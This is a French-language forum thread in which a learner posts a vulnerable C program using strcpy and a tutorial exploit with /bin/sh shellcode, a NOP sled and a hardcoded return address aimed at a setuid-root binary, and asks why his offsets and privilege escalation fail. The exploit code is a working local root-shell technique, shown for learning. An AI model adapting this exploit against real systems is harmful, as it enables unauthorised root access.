Projet buffer overflow

Fermé
kevin - 3 févr. 2005 à 13:27
 rootshell - 4 juil. 2007 à 21:49
j'ai quelques pb avec les buffers overflows. J'aurai bien aimé comprendre comment ca marche (je parle pas du principe, ca c'est ok) et avec les différents textes qui ont été postés , en toute logique ca devrait pas être tres dur. Et ben si .
J'ai voulu reprendre un exemple d'un des tutos qui est le suivant:

Code:

int main(int argc, char *argv[])

{

char buffer[100];

if (argc > 1)

strcpy(buffer, argv[1]);

return (0);

}


Donc en théorie, si je passe un premier argument qui fait plus de 100 caractères, je devrais faire planter le prog. En fait, normalement, si je passe un argument de 104 caractères, je devrait ecraser ebp et avec 108 caractères, je devrais écraser eip or c'est pas tout à fait le cas. Pour écraser ebp, je suis obliger de passer 124 caractères et pour écraser eip, je suis obligé de passer 128 caractères. Ils viennent d'où les 20 octets que j'ai pas alloué ? Est-ce que ça peut être l'OS qui les rajoute (j'ai la mandrake) ou alors c'est au moment de la compilation qu'il se passe quelquechose de bizarre ?

Ensuite, le code fournit avec le tuto pour exploiter le buffer overflow est le suivant:
Code:

---------- exploit1.c ----------

/* gcc -o exploit1 exploit1.c */

#include <stdlib.h>

#define BUFFER_LEN 100

#define OVERFLOW 8

int main()

{

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"

"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"

"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"

"\xcd\x80\xe8\xdc\xff\xff\xff"

"/bin/sh";

char newret[] = "\x98\xf9\xff\xbf"; // adresse du buffer

char buffer[256];

int i;

int j;



printf("=== NostroBO Buffer Overflow ===\n\n");



printf("-> Creating Buffer.\n");



for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(strlen(newret)+strlen(shellcode))); i++)

buffer[i ] = '\x90'; // on place des NOPs



printf("hop: %d\n", i);



for (j = 0; shellcode[j]; j++, i++)

buffer[i ] = shellcode[j]; // on copie le shellcode



printf("-> Shellcode injected.\n");



printf("hop: %d\n", i);



for (j = 0; newret[j]; j++, i++)

buffer[i ] = newret[j]; // on copie l'adresse du buffer



printf("-> Buffer Address injected.\n");



printf("hop: %d\n", i);



printf("-> RedKod Rulez.\n");



execl("/root/RedKod/Stack_Overflow/BO/vuln1/vuln1", "vuln1", buffer, NULL);

}

---------- exploit1.c ----------


Logiquement, la seule chose que je devrait changer, c'est la taille du buffer en remplaceant #define BUFFER_LEN 100 par #define BUFFER_LEN 120 (j'ai aussi changé l'adresse de retour newret par celle que j'ai trouvé en débuguant mon prog et le chemin d'acces au fichier utilisé dans execl sinon, c'est sur que ca marchera pas ).
Mais là j'ai encore un problème: le prog me fait un segmentation fault alos qu'il ne devrait pas vu que j'ai changé la longueur du buffer en fonction des tests que j'ai fait avant. Apres avoir bidouillé un peut, je me suis rendu compte que pour ne plus avoir de segmentation fault, il fallait que je mette BUFFER_LEN à 112 (me demandez pas pourquoi cette valeur, j'en ai aucune idée). Maintenant que l'exploit ne fait plus planter le prog vulnérable, je fais un petit whoami et malheuresement, je suis toujours en simple utilisateur (le programme vuln est en suid et son proprietaire est root) donc en gros y'a rien qui marche.

Voilà, j'ai fini de vous raconter mes petites hisoires, j'espere que vous pourrez m'aider un peu si vous avez eu le courage de lire jusqu'au bout .

1 réponse

salut kevin

as tu trouvé ta reponse ?

ps tu peux me joindre sur msn on en discute ttusaisqui@hotmail.com
0